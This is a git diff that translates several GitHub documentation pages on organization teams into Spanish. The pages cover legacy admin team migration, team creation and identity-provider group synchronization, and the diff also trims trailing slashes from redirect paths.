 redirect_from:
-  - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions/
+  - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions
   - /articles/migrating-admin-teams-to-improved-organization-permissions
   - /github/setting-up-and-managing-organizations-and-teams/migrating-admin-teams-to-improved-organization-permissions
 versions:
@@ -12,37 +12,34 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Migrate admin team
+shortTitle: Migrar el equipo administrativo
 ---
 
-By default, all organization members can create repositories. If you restrict [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories.
+Por defecto, todos los miembros de la organización pueden crear repositorios. Si restringes los [permisos de creación de repositorios](/articles/restricting-repository-creation-in-your-organization) a los propietarios de la organización y tu organización fue creada dentro de la estructura heredada de permisos de organización, los miembros de los equipos de administración heredados seguirán teniendo la capacidad de crear repositorios.
 
-Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure.
+Los equipos de administración heredados son equipos que fueron creados con el nivel de permiso de administración dentro de la estructura heredada de permisos de organización. Los miembros de estos equipos pudieron crear repositorios para la organización, y hemos conservado esta capacidad en la estructura mejorada de permisos de la organización.
 
-You can remove this ability by migrating your legacy admin teams to the improved organization permissions.
+Puedes eliminar esta capacidad al migrar tus equipos de administradores heredados a los permisos mejorados de la organización.
 
-For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% warning %}
 
-**Warning:** If your organization has disabled [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories.
+**Advertencia:** si tu organización ha inhabilitado [los permisos de creación de repositorio](/articles/restricting-repository-creation-in-your-organization) para todos los miembros, algunos miembros de los equipos de administradores heredados pueden perder los permisos de creación de repositorio. Si tu organización ha habilitado la creación de repositorio de miembro, migrar los equipos de administradores heredados a los permisos mejorados de la organización no afectará la capacidad de los miembros del equipo de crear repositorios.
 
 {% endwarning %}
 
-## Migrating all of your organization's legacy admin teams
+## Migrar todos tus equipos de administradores heredados de tu organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.teams_sidebar %}
-1. Review your organization's legacy admin teams, then click **Migrate all teams**.
-  ![Migrate all teams button](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
-1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.**
-  ![Confirm migration button](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
+1. Revisa tus equipos de administradores heredados de la organización, después haz clic en **Migrate all teams (Migrar todos los equipos)**. ![Botón Migrar todos los equipos](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
+1. Lee la información sobre los posibles cambios en permisos para los miembros de estos equipos, después haz clic en **Migrate all teams (Migrar todos los equipos).** ![Botón Confirmar migración](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
 
-## Migrating a single admin team
+## Migrar un equipo de administradores único
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
-1. In the team description box, click **Migrate team**.
-  ![Migrate team button](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
+1. En la casilla de descripción de equipo, haz clic en **Migrate team (Migrar equipo)**. ![Botón Migrar equipo](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md b/translations/es-ES/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
index 9389c6d0bf..09df71864e 100644
--- a/translations/es-ES/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
+++ b/translations/es-ES/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
@@ -2,7 +2,7 @@
 title: Agregar miembros de la organización a un equipo
 intro: 'Las personas con permisos de propietario o mantenedor del equipo pueden agregar miembros de la organización a los equipos. Las personas con permisos de propietario también pueden {% ifversion fpt or ghec %} invitar a personas que no son miembros {% else %}a incorporar a personas que no son miembros a{% endif %} un equipo y la organización.'
 redirect_from:
-  - /articles/adding-organization-members-to-a-team-early-access-program/
+  - /articles/adding-organization-members-to-a-team-early-access-program
   - /articles/adding-organization-members-to-a-team
   - /github/setting-up-and-managing-organizations-and-teams/adding-organization-members-to-a-team
 versions:
diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md b/translations/es-ES/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
index b49f48c60b..8f3597b4aa 100644
--- a/translations/es-ES/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
+++ b/translations/es-ES/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
@@ -2,7 +2,7 @@
 title: Assigning the team maintainer role to a team member
 intro: You can give a team member the ability to manage team membership and settings by assigning the team maintainer role.
 redirect_from:
-  - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program/
+  - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program
   - /articles/giving-team-maintainer-permissions-to-an-organization-member
   - /github/setting-up-and-managing-organizations-and-teams/giving-team-maintainer-permissions-to-an-organization-member
   - /organizations/managing-peoples-access-to-your-organization-with-roles/giving-team-maintainer-permissions-to-an-organization-member
diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/creating-a-team.md b/translations/es-ES/content/organizations/organizing-members-into-teams/creating-a-team.md
index 9224f9ceec..24ba65f5bd 100644
--- a/translations/es-ES/content/organizations/organizing-members-into-teams/creating-a-team.md
+++ b/translations/es-ES/content/organizations/organizing-members-into-teams/creating-a-team.md
@@ -1,8 +1,8 @@
 ---
-title: Creating a team
-intro: You can create independent or nested teams to manage repository permissions and mentions for groups of people.
+title: Crear un equipo
+intro: Puedes crear equipos independientes o anidados para administrar los permisos del repositorio y las menciones de grupos de personas.
 redirect_from:
-  - /articles/creating-a-team-early-access-program/
+  - /articles/creating-a-team-early-access-program
   - /articles/creating-a-team
   - /github/setting-up-and-managing-organizations-and-teams/creating-a-team
 versions:
@@ -15,7 +15,7 @@ topics:
   - Teams
 ---
 
-Only organization owners and maintainers of a parent team can create a new child team under a parent. Owners can also restrict creation permissions for all teams in an organization. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)."
+Solo los propietarios y mantenedores de la organización en un equipo padre pueden crear un nuevo equipo hijo debajo del padre. Los propietarios también pueden restringir los permisos de creación para todos los equipos en una organización. Para obtener más información, consulta "[Configurar los permisos de creación de equipo en tu organización](/articles/setting-team-creation-permissions-in-your-organization)."
 
 {% data reusables.organizations.team-synchronization %}
 
@@ -26,17 +26,16 @@ Only organization owners and maintainers of a parent team can create a new child
 {% data reusables.organizations.team_description %}
 {% data reusables.organizations.create-team-choose-parent %}
 {% ifversion ghec %}
-1. Optionally, if your organization or enterprise account uses team synchronization or your enterprise uses {% data variables.product.prodname_emus %}, connect an identity provider group to your team.
-    * If your enterprise uses {% data variables.product.prodname_emus %}, use the "Identity Provider Groups" drop-down menu, and select a single identity provider group to connect to the new team. For more information, "[Managing team memberships with identity provider groups](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
-    * If your organization or enterprise account uses team synchronization, use the "Identity Provider Groups" drop-down menu, and select up to five identity provider groups to connect to the new team. For more information, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png)
+1. Opcionalmente, si tu cuenta organizacional o empresarial utiliza la sincronización de equipos o si tu empresa utiliza {% data variables.product.prodname_emus %}, conecta un grupo de proveedor de identidad a tu equipo.
+    * Si tu empresa utiliza {% data variables.product.prodname_emus %}, utiliza el menú desplegable de "Grupos de Proveedor de Identidad" y selecciona un solo grupo de proveedor de identidad para conectarlo al equipo nuevo. Para obtener más información, consulta la sección "[Administrar las membrecías de equipo con grupos de proveedor de identidad](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)".
+    * Si tu cuenta organizacional o empresarial utiliza la sincronización de equipos, utiliza el menú desplegable de "Grupo de Proveedor de Identidad" y selecciona hasta cinco grupos de proveedor de identidad para conectar al equipo nuevo. Para obtener más información, consulta la sección "[Sincronizar a un equipo con un grupo de proveedor de identidad](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)". ![Menú desplegable para elegir los grupos de proveedor de identidad](/assets/images/help/teams/choose-an-idp-group.png)
 {% endif %}
 {% data reusables.organizations.team_visibility %}
 {% data reusables.organizations.create_team %}
-1. Optionally, [give the team access to organization repositories](/articles/managing-team-access-to-an-organization-repository).
+1. También puede [darle acceso al equipo a los repositorios de la organización](/articles/managing-team-access-to-an-organization-repository).
 
-## Further reading
+## Leer más
 
-- "[About teams](/articles/about-teams)"
-- "[Changing team visibility](/articles/changing-team-visibility)"
-- "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)"
+- [Acerca de los equipos](/articles/about-teams)"
+- "[Cambiar la visibilidad del equipo](/articles/changing-team-visibility)"
+- [Mover un equipo dentro de la jerarquía de tu organización](/articles/moving-a-team-in-your-organization-s-hierarchy)"
diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/index.md b/translations/es-ES/content/organizations/organizing-members-into-teams/index.md
index e3c495fc00..ebe04edd68 100644
--- a/translations/es-ES/content/organizations/organizing-members-into-teams/index.md
+++ b/translations/es-ES/content/organizations/organizing-members-into-teams/index.md
@@ -2,14 +2,14 @@
 title: Organizing members into teams
 intro: You can group organization members into teams that reflect your company or group's structure with cascading access permissions and mentions.
 redirect_from:
-  - /articles/setting-up-teams-improved-organization-permissions/
-  - /articles/setting-up-teams-for-accessing-organization-repositories/
-  - /articles/creating-teams/
-  - /articles/adding-people-to-teams-in-an-organization/
-  - /articles/removing-a-member-from-a-team-in-your-organization/
-  - /articles/setting-up-teams/
-  - /articles/maintaining-teams-improved-organization-permissions/
-  - /articles/maintaining-teams/
+  - /articles/setting-up-teams-improved-organization-permissions
+  - /articles/setting-up-teams-for-accessing-organization-repositories
+  - /articles/creating-teams
+  - /articles/adding-people-to-teams-in-an-organization
+  - /articles/removing-a-member-from-a-team-in-your-organization
+  - /articles/setting-up-teams
+  - /articles/maintaining-teams-improved-organization-permissions
+  - /articles/maintaining-teams
   - /articles/organizing-members-into-teams
   - /github/setting-up-and-managing-organizations-and-teams/organizing-members-into-teams
 versions:
diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md b/translations/es-ES/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
index 6a41b6bf0c..533400a3fa 100644
--- a/translations/es-ES/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
+++ b/translations/es-ES/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
@@ -2,7 +2,7 @@
 title: Mover un equipo en la jerarquía de tu organización
 intro: 'Los mantenedores del equipo y los propietarios de la organización pueden anidar un equipo bajo un equipo padre, o cambiar o eliminar un equipo padre de un equipo anidado.'
 redirect_from:
-  - /articles/changing-a-team-s-parent/
+  - /articles/changing-a-team-s-parent
   - /articles/moving-a-team-in-your-organization-s-hierarchy
   - /articles/moving-a-team-in-your-organizations-hierarchy
   - /github/setting-up-and-managing-organizations-and-teams/moving-a-team-in-your-organizations-hierarchy
diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md b/translations/es-ES/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
index f26282c7f8..7defc70e32 100644
--- a/translations/es-ES/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
+++ b/translations/es-ES/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
@@ -2,7 +2,7 @@
 title: Eliminar de un equipo a miembros de la organización
 intro: 'Las personas con permisos de *propietario* o *mantenedor del equipo* pueden eliminar de un equipo a miembros del equipo. Puede que se deba hacer esto si una persona no necesita más el acceso a un repositorio que otorga el equipo, o si una persona no se dedica más a los proyectos de un equipo.'
 redirect_from:
-  - /articles/removing-organization-members-from-a-team-early-access-program/
+  - /articles/removing-organization-members-from-a-team-early-access-program
   - /articles/removing-organization-members-from-a-team
   - /github/setting-up-and-managing-organizations-and-teams/removing-organization-members-from-a-team
 versions:
diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
index 1e2fc70a8f..ae548bcb80 100644
--- a/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
+++ b/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
@@ -1,6 +1,6 @@
 ---
-title: Synchronizing a team with an identity provider group
-intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.'
+title: Sincronizar un equipo con un grupo de proveedor de identidad
+intro: 'Puedes sincronizar un equipo de {% data variables.product.product_name %} con un grupo de proveedor de identidad (IdP) para agregar y eliminar miembros del grupo automáticamente.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group
 permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.'
@@ -10,95 +10,90 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Synchronize with an IdP
+shortTitle: Sincronizar con un IdP
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## Acerca de la sincronización de equipo
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
-{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams.
+{% ifversion ghec %}Puedes conectar hasta cinco grupos de IdP a un equipo de {% data variables.product.product_name %}.{% elsif ghae %}Puedes conectar a un equipo de {% data variables.product.product_name %} a un grupo de IdP. Todos los usuarios en el grupo se agregan automáticamente al equipo y también a la organización padre como miembros. Cuando desconectas a un grupo de un equipo, los usuarios que se convirtieron en miembros de la organización a través de una membrecía de equipo se eliminan de dicha organización.{% endif %} Puedes asignar un grupo de IdP a varios equipos de {% data variables.product.product_name %}.
 
-{% ifversion ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %}
+{% ifversion ghec %}La sincronización de equipos no es compatible con grupos de IdP con más de 5000 miembros.{% endif %}
 
-Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion ghec %} or using the API{% endif %}.
+Una vez que un equipo de {% data variables.product.prodname_dotcom %} se conecta a un grupo de IdP, tu administrador de IdP debe hacer cambios en la membrecía del equipo a través del proveedor de identidad. No puedes administrar las membrecías de equipo en {% data variables.product.product_name %}{% ifversion ghec %} ni utilizando la API{% endif %}.
 
 {% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %}
 
 {% ifversion ghec %}
-All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour.
-Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)."
+Todos los cambios a la membrecía de equipo que se hagan con tu IdP aparecerán en la bitácora de auditoría en {% data variables.product.product_name %} como cambios que realiza el bot de sincronización de equipos. Tu IdP enviará datos de la membresía de equipo a {% data variables.product.prodname_dotcom %} una vez por hora. Conectar un equipo a un grupo IdP puede eliminar a algunos miembros del equipo. Para obtener más información, consulta "[Requisitos para los miembros de los equipos sincronizados](#requirements-for-members-of-synchronized-teams)."
 {% endif %}
 
 {% ifversion ghae %}
-When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs.
+Cuando cambia la membrecía de grupo en tu IdP, este envía una solicitud de SCIM con los cambios a {% data variables.product.product_name %} de acuerdo con la programación que determinó tu IdP. Cualquier solicitud que cambie la membrecía de organización o equipo de {% data variables.product.prodname_dotcom %} se registrará en la bitácora de auditoría como cambios que realizó la cuenta que se utilizó para configurar el aprovisionamiento de usuarios. Para obtener más información sobre esta cuenta, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". Para obtener más información acerca de los itinerarios de solicitudes de SCIM, consulta la sección "[Verificar el estado del aprovisionamiento de usuarios](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" en Microsoft Docs.
 {% endif %}
 
-Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)."
+Los equipos padre no pueden sincronizarse con los grupos de IdP. Si el equipo que quieres conectar a un grupo de IdP es un equipo padre, te recomendamos crear un equipo nuevo o eliminar las relaciones anidadas que hacen de tu equipo un equipo padre. Para obtener más información, consulta las secciónes "[Acerca de los equipos](/articles/about-teams#nested-teams)", "[Crear un equipo](/organizations/organizing-members-into-teams/creating-a-team)", y "[Mover un equipo en la jerarquía de tu organización](/articles/moving-a-team-in-your-organizations-hierarchy)".
 
-To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." 
+Para administrar el acceso de un repositorio para cualquier equipo de {% data variables.product.prodname_dotcom %}, incluyendo los equipos conectados a un grupo de IdP debes hacer cambios con {% data variables.product.product_name %}. Para obtener más información, consulta "[Acerca de equipos](/articles/about-teams)" y "[Administrar el acceso de equipo a un repositorio de la organización](/articles/managing-team-access-to-an-organization-repository)."
 
-{% ifversion ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %}
+{% ifversion ghec %}También puedes administrar la sincronización de equipos con la API. Para obtener más información, consulta la sección "[Sincronización de equipos](/rest/reference/teams#team-sync)".{% endif %}
 
 {% ifversion ghec %}
-## Requirements for members of synchronized teams
+## Requisitos para los miembros de los equipos sincronizados
 
-After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if:
-- The person is a member of the organization on {% data variables.product.product_name %}.
-- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once.
-- The person's SSO identity is a member of the IdP group.  
+Después de que conectas un equipo a un grupo de IdP, la sincronización de equipos agregará a cada miembro del grupo de IdP al equipo correspondiente en {% data variables.product.product_name %} únicamente si:
+- La persona es un miembro de la organización en {% data variables.product.product_name %}.
+- La persona ya ingresó con su cuenta de usuario en {% data variables.product.product_name %} y se autenticó en la cuenta organizacional o empresarial a través del inicio de sesión único de SAML por lo menos una vez.
+- La identidad de SSO de la persona es miembro del grupo de IdP.
 
-Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)."
+Los equipos o miembros del grupo existentes que no cumplan con estos criterios se eliminarán automáticamente del equipo en {% data variables.product.product_name %} y perderán acceso a los repositorios. El revocar la identidad ligada a un usuario también eliminará a dicho usuario de cualquier equipo que se encuentre mapeado en los grupos de IdP. Para obtener más información, consulta las secciones "[Ver y administrar el acceso SAML de los miembros a tu organización](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" y "[Ver y administrar el acceso SAML de los usuarios a tu empresa](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)".
 
-A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group.
+Puedes volver a agregar automáticamente a aquellos miembros del equipo que hayas eliminado una vez que se autentiquen en la cuenta empresarial u organizacional utilizando el SSO y así se migren al grupo de IdP conectado.
 
-To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+Para evitar eliminar miembros del equipo accidentalmente, te recomendamos requerir el SSO de SAML en tu cuenta organizacional o empresarial mediante la creación de nuevos equipos para sincronizar datos de membrecías y revisar la membrecía del grupo de IdP antes de que sincronices a los equipos existentes. Para obtener más información, consulta las secciones "[Requerir el inicio de sesión único de SAML para tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)" y "[Configurar el inicio de sesión único de SAML para tu empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
 {% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
 {% ifversion ghec %}
-Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+Antes de que puedas conectar a un equipo de {% data variables.product.product_name %} con un grupo de proveedores de identidad, un propietario de empresa u organización debe habilitar la sincronización de equipos para tu organización o cuenta empresarial. Para obtener más información, consulta las secciones "[Administrar la sincronización de equipos para tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" y "[Administrar la sincronización de equipos para las organizaciones de tu cuenta empresarial](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)".
 
-To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator.
+Para evitar el eliminar miembros del equipo accidentalmente, visita el protal administrativo para tu IdP y confirma que cada miembro actual del equipo también se encuentre en los grupos de IdP que quieras conectar a este equipo. Si no tienes este acceso a tu proveedor de identidad, puedes comunicarte con tu administrador de IdP.
 
-You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+Debes autenticarte utilizando el SSO de SAML. Para obtener más información, consulta "[Acerca de la autenticación con el inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)".
 
 {% elsif ghae %}
-Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+Antes de que puedas conectar a un equipo de {% data variables.product.product_name %} con un grupo de IdP, primero debes configurar el aprovisionamiento de usuarios para {% data variables.product.product_location %} utilizando un sistema compatible para la Administración de Identidad entre Dominios (SCIM). Para obtener más información, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
 
-Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs.
+Una vez que se configure el aprovisionamiento de usuarios para {% data variables.product.product_name %} utilizando SCIM, puedes asignar la aplicación de {% data variables.product.product_name %} a cada grupo de IdP que quieras utilizar en {% data variables.product.product_name %}. Para obtener más información, consulta la sección de [Configurar el aprovisionamiento automático de usuarios en GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) en los Microsoft Docs.
 {% endif %}
 
-## Connecting an IdP group to a team
+## Conectar un grupo de IdP a tu equipo
 
-When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %}
+Cuando conectas un grupo de IdP a un equipo de {% data variables.product.product_name %}, todos los usuarios en el grupo se agregan automáticamente al equipo. {% ifversion ghae %}Cualquier usuario que no fuera un miembro de aquellos de la organización desde antes también se agregará a esta.{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups.
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. Debajo de "Grupos del Proveedor de Identidad", utiliza el menú desplegable y selecciona hasta 5 grupos del proveedor de identidad. ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
+6. Debajo de "Grupo del Proveedor de Identidad", utiliza el menú desplegable y selecciona un grupo de proveedor de identidad de la lista. ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
+7. Haz clic en **Guardar cambios**.
 
-## Disconnecting an IdP group from a team
+## Desconectar un grupo de IdP de un equipo
 
-If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %}
+Si desconectas un grupo de IdP de un equipo de {% data variables.product.prodname_dotcom %}, los miembros de este equipo que fueran asignados al equipo {% data variables.product.prodname_dotcom %} a través del grupo de IdP se eliminarán de dicho equipo. {% ifversion ghae %} Cualquier usuario que fuera miembro de la organización padre únicamente debido a esa conexión de equipo también se eliminará de la organización.{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. Debajo de "Grupos del Proveedor de Identidad", a la derecha del grupo de IdP que quieras desconectar, da clic en {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
+6. Debajo de "Grupo del Proveedor de Identidad", a la derecha del grupo de IdP que quieras desconectar, da clic en {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
+7. Haz clic en **Guardar cambios**.
